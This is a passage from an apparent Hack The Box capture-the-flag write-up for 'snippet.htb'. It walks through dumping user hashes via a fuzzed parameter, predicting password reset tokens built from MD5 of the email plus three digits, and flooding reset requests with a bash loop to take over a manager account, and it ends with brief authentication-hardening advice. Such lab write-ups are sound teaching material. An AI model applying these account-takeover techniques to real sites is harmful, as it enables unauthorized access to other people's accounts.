Now we can try to use the download argument in our Burp repeater:

Unimportant Note: I thought this was really sneaky, because I normally filter out responses by their length or size, but this response has an error message that is the same length as the first one, forcing me to use the regex filter in Ffuf.
It looks like it asks us for a table name, so I try users and get a pleasant surprise:

We get a bunch of usernames and hashes - we can clean this up into a list of hashes and use hash-identifier to determine the hash type and it looks like SHA256.
You’ll find that one of the users has the password password123 and we can log in with their email.
We can also log in as fredrick@snippet.htb on their mail domain, mail.snippet.htb:

If we try to reset our password from the snippet.htb, we will get a link emailed to us:

After sending a couple of these you’ll notice that only the last three digits seem to change:


If we take the first part, 725135d067e28555b9306b42ab8d3e5b and run it through hash-identifier, it seems to be an MD5 hash. Because this isn’t changing each time, I imagine that it has something to do with out username. Let’s hash the username and see if it matches:
╰─ echo -n "fredrick@snippet.htb" | md5sum
725135d067e28555b9306b42ab8d3e5b -
Okay, so the reset token is just the MD5 hash of the user’s email and a three digit number. Knowing this, we can reset any user’s password and try to guess the code to reset their password. This should work because the password reset link is just the code and the specified email:
http://snippet.htb/reset-password/725135d067e28555b9306b42ab8d3e5b422?email=fredrick%40snippet.htb
We can capture our own password reset request in Burp Suite and try to get the charlie user’s password. Charlie is listed as a manager user from when we dumped all the users earlier.
When we edit the request to try and reset Charlie’s password, it seems like we just need to get the three-digit number at the end of the token right:

We can try to request one reset and brute-force the reset code, but there is an easier strategy. Poking around helps us realize that sending a bunch of reset requests gives a bunch of reset codes, but they don’t invalidate the older ones.
So, if we send 500 or so reset requests, the reset code will be fairly guessable.
First, we copy the password reset request as a curl command then add it to a bash script, in my case Makereq.sh and then execute it 500 times:
╰─ for i in $(seq 0 500); do bash Makereq.sh; done;
Then, we can try to reset the password, you may have to guess and change the code a few times but it works:

Now we can log in as Charlie!

I am pretty bad at anything related to bash scripting, and there is an amazing video walkthrough of this machine posted by IppSec that you can watch here if you are interested in watching the whole machine.
To summarize again, we fuzzed an argument name to dump the user credentials, cracked a password hash and logged in where we were able to abuse the password reset functionality after we discovered that the reset URLs are predictable and don’t invalidate previous reset attempts.
Securing Authentication Mechanisms#
To be really brief, it comes down to a handful of things:
- Don’t Disclose Login Credentials
- Use Effective Password Policies
- Prevent Username Enumeration
- Implement Robust Brute-Force Protections
- Intensely Review Your Authentication Logic
- Implement Proper MFA